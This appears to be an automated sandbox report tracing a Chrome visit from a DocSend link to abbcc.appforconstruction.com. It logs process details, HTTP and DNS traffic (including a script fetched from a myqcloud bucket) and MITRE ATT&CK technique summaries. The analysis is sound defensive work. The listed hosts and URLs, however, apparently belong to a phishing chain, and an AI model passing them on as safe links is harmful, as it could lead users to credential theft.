Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:42:33
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docsend.com/view/dsvnm326mjtbt7np
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:42:33
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1936,i,15943437824078859451,4303776454748701874,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://abbcc.appforconstruction.com/cGYxp/	HTTP Parser: No favicon
Source: https://abbcc.appforconstruction.com/cGYxp/	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.162.204
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.162.204
Source: unknown	TCP traffic detected without corresponding DNS query: 23.56.162.204

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k9GkFTxurRhaHUw&MD=av3dhBMG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k9GkFTxurRhaHUw&MD=av3dhBMG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /view/dsvnm326mjtbt7np HTTP/1.1Host: docsend.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cGYxp HTTP/1.1Host: abbcc.appforconstruction.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cGYxp/ HTTP/1.1Host: abbcc.appforconstruction.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e5935826bf00f3e&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e5935826bf00f3e&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: abbcc.appforconstruction.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://abbcc.appforconstruction.com/cGYxp/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=m5gmg4i7uet7umfcjh37ca7utv
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8e5935826bf00f3e/1732113776129/bb3c0ba1025676529f93840d2c8a7f2056c6e4adc6118965f4d713f27350447b/HVBG1oNA_YgnxCW HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8e5935826bf00f3e/1732113776134/h6nWbmYreyjn9Wt HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8e5935826bf00f3e/1732113776134/h6nWbmYreyjn9Wt HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://abbcc.appforconstruction.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://abbcc.appforconstruction.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://abbcc.appforconstruction.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1381488073-1323985617.cos.na-siliconvalley.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://abbcc.appforconstruction.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 1381488073-1323985617.cos.na-siliconvalley.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: abbcc.appforconstruction.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1381488073-1323985617.cos.na-siliconvalley.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 1381488073.constructionfederal.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

